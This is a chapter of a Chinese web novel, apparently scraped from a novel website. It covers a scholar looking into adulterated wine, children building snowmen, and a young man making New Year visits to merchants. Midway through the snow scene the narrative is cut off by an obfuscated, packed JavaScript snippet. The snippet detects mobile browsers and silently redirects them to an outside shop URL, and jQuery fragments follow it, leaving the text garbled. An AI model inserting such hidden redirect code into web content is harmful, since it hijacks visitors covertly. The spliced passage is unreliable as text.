有了慕萧给的银钱,谢风竹陆陆续续添置了不少东西,一家人总算过了个舒心的暖冬。
他下学后不必忙于生计,因此除了温习课业,偶尔也会被同窗约着小聚一场。
期间听闻不少书院以外的杂事,也在无形之中拉近了与友人的距离。
凭谢风竹校考所取得的名次,各家郎君并不会过于在意他的家世,反倒将他视为良友,真诚相待。
这日,谢风竹下学归家,路过一间茶馆时听到有人喊道:“谢秀才。”
他转头一看,竟是多日未见的慕萧。
“慕郎君。”
慕萧起身随他一道,待周围人少时问道:“谢郎君近日可好?”
谢风竹脸上扬起轻松的笑意,“承蒙慕郎君看重,谢某一切都好。”
少了生活上的困顿,闲时再与同窗探讨学问,短短的时日内竟让他心胸开阔了许多。
慕萧顺势闲聊了几句,转而说道:“某有一事,还请谢郎君帮忙询问一番。”
“慕郎君尽管说。”
“我偶然听好酒的友人说,最近的酒水价格未变,品质却差了许多。酒水常由酒务司掌管,按理来说不应该出现这般纰漏,莫非其中有……”
谢风竹听懂了他的未尽之语。府学内不乏有官家子弟,此间的辛秘会在不经意时提起一两句,稍一询问便可知晓更多的消息。
“慕郎君放心,正巧过几日有同窗相约,或许能得到其中的缘由。”
慕萧弯腰作揖,说道:“那便有劳谢郎君了。”
谢风竹回礼,“慕郎君言重。”
他清楚慕萧所说的缘由绝非那么简单,不过自己只是帮着询问一声,倒是不打紧。
……
淮邗府城最上等的酒楼,当属朱雀街丰乐楼。
三栋五层大楼占据着正街的繁华地段,主楼与附楼之间架有凌空飞桥,是整个淮邗独有的建筑。
左右的天井将正堂照得透亮,连寻常桌面都能折射出光来。
珠帘脆响,原是一位侍女随手拨开,依着主子的吩咐下楼去了。
与珠帘相对的是其上方用丝绸绣成的匾额,天光正好,单此处便足够晃人眼。
谢风竹目不斜视,随同窗一齐进入雅间,他虽是首次造访,举止间却并不显局促。
雅间临街,能推开窗户去瞧那来往的车水马龙,往远了看,人流不息的虹桥也可尽入眼底。
“诗会未时开场,谢郎先尝尝他们家的枣糕,甜而不腻,我冬日里常点上一道。”
侍女为几人添好茶后便去门外候着了,谢风竹按好友所说尝了一口,果然比街上寻常铺子里的糕点味道更好些。
“莘郎的口味自然不差。”
“那是。”莘子濯笑道。
好茶好菜,当然落不下好酒,几人闲谈过后菜肴陆续传上桌,还有一壶“梨花白”佳酿。
娄文斌开口道:“相识许久,还不知谢郎酒量如何,丰乐楼最有名的梨花白,尝尝?”
“娄郎好意,自然不能辜负,”谢风竹迟疑道:“只是前些时日去酒肆浅尝过店里的好酒,滋味却不如传闻那般。”
“谢郎可是去的寻常脚店?丰乐楼断不会有此等劣酒。”
提起酒水,莘子濯在一旁说道:“部分正店只怕也受其所害。”
娄文斌皱眉,似乎没想到事情已经到了这步田地。“酒务司没人管?”
“谁想管那位小霸王?”莘子濯浅酌一口,随意道。
谢风竹趁机问道:“不知小霸王是?”
这也算不得什么要紧事,娄文斌朝他解释道:“指挥使妻族的小外甥,天天惹是生非。前些时日听说将手伸到了酒务司,想靠手下人胡乱酿的酒牟利。”
“无人管制?”谢风竹眉头微皱。
“眼下无人管,事发了可未必。”娄文斌剥了颗花生,经莘子濯提醒后含糊道:“内里关系复杂,并非我等能随意知晓。但酒水之事非同小可,定会有人治了那小霸王。”
官场争斗各家衙内多少清楚,不过谢风竹目前归属未定,有些事不便多说。
谢风竹假装不知,继续与人吃喝,等待接下来的诗会。
——
大雪一连下了好几天,积起的雪约莫有两三寸高。
平仲巷的房屋结实,少有人家的屋顶会被大雪压塌,只听说某些随意建造的茅草屋倒了几间。
这样的祸事算不得灾,大家早已习惯,过了耳便继续忙活自家的事。
总归有救济院去处理,只要不伤及性命,多数人在官府的安置下能安然渡过寒冬。
雪化时容易积水,因此雪停后大家都忙着清理院子内外。
宋兴安一大早起来铲雪,推到巷子里的雪没有随意放置,而是按往年那样堆成一只看门的雪狮子。
于是宋溪云出门去玩的时候,就看到一只只形态各异的“神兽”。
她仔细观察着自家门口的雪狮,不禁感叹宋兴安的动手能力。
堆得活灵活现不说,在天光的映照下还带了几分神圣感。
其他人家的雪狮子也不赖,或坐或卧,或严肃或嬉笑,要不是周围的建筑过于熟悉,她还以为是哪个展会现场呢。
大雪过后,来冰雪林玩的人显然多了起来,到处都能听到打雪仗的嬉闹声。
宋溪云随手薅了一把雪团成团,凝实后朝空地胡乱扔,又继续团下一个。
楚蓉看着她手里的雪球,说道:“我们来比一比谁滚的雪球大?”
“好啊!”田佑当即应道。
常常只玩雪堆雪,换个花样也挺好。
比试一开,四个人便各自分开去找雪多的地方,宋溪云团出一个篮球大小的雪球,结合地势从坡上一路滚,没过多久就获得了最大的圆球。
田佑在旁边看到,也学着一起。
一个滚完,宋溪云又滚下一个,自己学不来宋兴安他们的高超技术,只能弄个最简单的雪人玩玩了。
当闵承望见她把小雪球往大雪球上堆的时候,他走过去问道:“小云,你要堆雪人吗?”
宋溪云没理解他口中“雪人”的意思,点头道:“对啊。”
树林里最不缺树枝了,她找了几根做手,剩下的则折成眉毛鼻子这些。
成品看起来奇奇怪怪,但依稀能认出来是个“人”。
“小云,你这个是什么啊?”楚蓉围着雪人转圈,不解道。
“简易版雪人。”宋溪云回答得理直气壮。
这么粗糙的雪人大家还是第一次见,几个人观察后欣然接受,并对此表示认同。
“好简单啊!一下子就能堆好多出来!”
田佑已经在滚另一个雪球了,看样子也准备堆个简易版。
不过闵承望放弃了宋溪云的“树枝脸”,转而摘了几片竹叶当眉毛,又找其他东西充当五官。
过了好一会,四周的雪薄了一层,中心空地上却多出好些个面孔各异的葫芦状雪人。
雪人群挺壮观,渐渐吸引了周围的小孩过来。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16733642|183661||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>方法简单,不少人看过之后也跟着做。
并非所有小孩都觉得好玩,有人嗤笑着在旁边堆了个像模像样的书生郎,对方的朋友也来助阵,忙活半天堆出一只雪狮子。
后面不知怎么的,葫芦堆里混着人和各种动物,空地真成展览会了。
宋溪云笑着暖暖手,享受这冬日里独有的欢乐。
回家路上,楚蓉突然问道:“我们谁赢了?”
后面玩得太高兴,她都忘了这回事。
“不知道。”闵承望摇摇头。
田佑仔细回忆道:“好像是小云?”
“嗯?我吗?”宋溪云完全没在意过。
四个人面面相觑,楚蓉干脆说道:“那我们下次再比!”
——
年关将至,慕萧带着陆宁着手准备拜访各位掌柜的礼品。
前世的他起先并不懂人情世故,单以为买卖便是银货两讫的爽快事,直到被人钻空子抢了生意才琢磨过来。
于是慕萧只好学商人的做派,送礼、设宴、时常拜访以稳固生意。
如今的他对这些早已熟稔,即便那些掌柜的目前只是“小人物”也不会怠慢。
有了签菜摊子和私盐所得以及各家店铺的息钱,慕萧每月能拿到的银钱并不少,因此不必再去赌坊冒险。
他时常带陆宁去跟旁人打交道,以便日后将这方面的事务交给他负责。
而向平和归舟除了完成每日的课业,慕萧也会让他们多接触学习。
陆宁提着一罐茶叶和书册去糖水铺子陈掌柜家拜访,慕萧则默默跟在他身边。
自己的年纪太容易惹人怀疑,为了避免麻烦,最开始与商户签契书时慕萧便选择由陆宁出面。
陈掌柜打开家门,见是陆宁,立马热情道:“陆郎君怎么得空过来了?陈某没提前准备,若是招待不周还请陆郎君海涵。”
“陈掌柜哪里的话?一碗门冬饮便是最好的招待了。”陆宁随陈掌柜进屋,并将带的礼品递给他。
“陆郎君可折煞我了,门冬饮还是由您提点才做出来的,”陈掌柜笑着说道,请两人落座后当真去煮了一锅。
他向来实在,否则慕萧也不会选择最先同对方合作。
看得出振作之后的陈掌柜生活得不错,家里干净整洁,虽不如女子收拾的那般舒心,但至少能过眼。
煮熟水并不费事,没过一会他就端了三碗门冬饮进屋。
陆宁以此为开端,闲聊的同时与陈掌柜商量来年的计划。
其间的处世之道慕萧早已教过他,陆宁不说得心应手,至少能做到张弛有度。
慕萧吹了吹尚且滚烫的熟水,垂眸思考往后的事该如何安排。
海运日渐兴起,他当初南下时正好赶上热潮,胡乱跟着旁人挣了笔银钱,如今重来一遭,怎么说也得抢在前头。
到时有陆宁在府城帮衬,下船后会顺利许多。
只要等慕志财一死……
慕萧喝了口门冬饮,抬头看向不久后便能独当一面的陆宁。
两人辞别陈掌柜,趁时辰尚早去拜访下一家。
慕萧在途中提醒道:“罗掌柜好酒,常去主街的正店喝陈酿。某次曾说过罗娘子爱吃玉兰糕,待关系稳固后可在拜访时捎上一包。”
陆宁点头记下,不禁对慕萧更佩服了几分。
他带自己去接触的商户约莫有四五十位,却能把每个人的家境和志趣都记得清楚。
陆宁不禁在心里疑问:还有什么是慕萧做不到的?